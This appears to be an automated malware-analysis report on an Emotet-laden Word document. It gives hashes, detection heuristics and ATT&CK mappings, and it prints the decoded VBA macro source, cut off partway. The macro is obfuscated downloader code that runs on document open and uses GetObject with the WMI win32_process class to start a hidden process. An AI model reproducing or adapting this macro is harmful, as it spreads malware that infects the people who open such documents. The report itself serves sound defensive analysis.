Emotet — Office (OOXML) malware analysis

Static analysis result for SHA-256 b14de0a4835378a2…

MALICIOUS

Office (OOXML)

51.7 KB Created: 2020-01-30 13:07:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-09-22
MD5: 513edda253ef43a829b17476cab38c84 SHA-1: 4112071739703cf320e89fb5465e976635033ef0 SHA-256: b14de0a4835378a27f6b3a4273b2ddb67180fe1cf3c6068ef740a8a0a74d29dc
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is identified as malicious by ClamAV with the signature Doc.Downloader.Emotet-7571983-0. It contains a VBA project with a Document_Open macro that uses GetObject and p-code execution, indicative of malicious intent. The macro likely downloads and executes a second-stage payload, a common Emotet behavior.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-7571983-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7571983-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5656 bytes
SHA-256: 5dbf28e47a084e7aca11dba7f21a7d1d32739d0b111c0de4b030cc8995e264de
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Vfreckcf"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   KJS = CVar(815)
INSD = 304
OISN = CVar(414)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(306)
NJSW = CVar(Mehvqhqbmez)
MIWHD = CVar("{Terraria}")
Call Vmumjntcsd
End Sub

Attribute VB_Name = "Xsbizrzkddi"
Attribute VB_Base = "0{807BCE60-E1F0-4EDF-9889-427642092C8D}{6184D545-BD59-45BC-A617-817892E997EC}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Osemlskqe"
Attribute VB_Base = "0{ED6DA186-72E2-4FDB-BD43-17400D2E1644}{8323A6CF-E68C-4028-AAF8-5782E986A430}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Brqxpwpwgnoo()
Debug.Print "Operaion" + NS + "S"
End Sub

Attribute VB_Name = "Nqpqkddekgwow"
Function Vmumjntcsd()
   KJS = CVar(608)
INSD = 651
OISN = CVar(638)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(835)
NJSW = CVar(Pmsbzfwecvju)
MIWHD = CVar("{Terraria}")
Qyzmnvaf = "==/e3n//3^w==/e3n//3^==/e3n//3^==/e3n//3^i==/e3n//3^==/e3n//3^nmg==/e3n//3^mt==/e3n//3^==/e3n//3^" + ChrW(Int(wdKeyS)) + "==/e3n//3^:w==/e3n//3^in==/e3n//3^==/e3n//3^3==/e3n//3^2_" + Xsbizrzkddi.Rjsdvqqw + "ro==/e3n//3^ce==/e3n//3^==/e3n//3^s==/e3n//3^s"
   KJS = CVar(260)
INSD = 191
OISN = CVar(550)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(162)
NJSW = CVar(Xrdjsqtbmwgwf)
MIWHD = CVar("{Terraria}")
Hdisqhhwsao = Xyvlfgzp(Qyzmnvaf)
   KJS = CVar(84)
INSD = 720
OISN = CVar(937)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(896)
NJSW = CVar(Dhqqbqpsbdtf)
MIWHD = CVar("{Terraria}")
Set Pyvmsavl = GetObject(Hdisqhhwsao)
   KJS = CVar(201)
INSD = 140
OISN = CVar(413)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(778)
NJSW = CVar(Bbudbxpkkcz)
MIWHD = CVar("{Terraria}")
Xuuepryif = Xsbizrzkddi.Indzzcevl.Tag
   KJS = CVar(348)
INSD = 178
OISN = CVar(343)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(810)
NJSW = CVar(Cgwtaiki)
MIWHD = CVar("{Terraria}")
Dkrylqqyimfey = Hdisqhhwsao + ChrW(Int(wdKeyS)) + Xsbizrzkddi.Emyvowcvj.Tag + Xuuepryif
   KJS = CVar(27)
INSD = 260
OISN = CVar(690)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(586)
NJSW = CVar(Hgvrtxdlpxr)
MIWHD = CVar("{Terraria}")
Mzrnpgeknmyo = Dkrylqqyimfey + Xsbizrzkddi.Rjsdvqqw
   KJS = CVar(825)
INSD = 204
OISN = CVar(82)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(591)
NJSW = CVar(Nlndcezrdflnk)
MIWHD = CVar("{Terraria}")
Call Pyvmsavl. _
Create(Aagucatha, Dreqfpixear, Bljbzoypbpfn(Mzrnpgeknmyo), Afdkqdgwg, Wirurzxmagz, Tpffseuuvk)
   KJS = CVar(11)
INSD = 305
OISN = CVar(357)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(759)
NJSW = CVar(Rcfedtjgw)
MIWHD = CVar("{Terraria}")
End Function
Function Bljbzoypbpfn(Laiyfkgvjdv)
   KJS = CVar(828)
INSD = 453
OISN = CVar(775)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(698)
NJSW = CVar(Pxpfjbgmfke)
MIWHD = CVar("{Terraria}")
Set Bljbzoypbpfn = GetObject(Laiyfkgvjdv)
   KJS = CVar(116)
INSD = 353
OISN = CVar(506)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(626)
NJSW = CVar(Kzqtaionl)
MIWHD = CVar("{Terraria}")
Bljbzoypbpfn. _
showwindow = Eazcmsxqruw + Fecfbcaotrb
   KJS = CVar(117)
INSD = 974
OISN = CVar(845)
NJSD = CVar("{Terraria}")
ISN = CVar("{Terraria}")
OPWND = CVar(12)
NJSW = CVar(Feyikxbwetpp)
MIWHD = CVar("{Terraria}")
End Function
Function Xyvlfgzp(Ufxqhskdfmxv)
   KJS 
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 41984 bytes
SHA-256: 4ddc992ff44d04d12c9bf4dc286827698570a64b8e075ba3b2ba7ac1e1eca84e
Detection
ClamAV: Doc.Downloader.Emotet-7571983-0
Obfuscation or payload: unlikely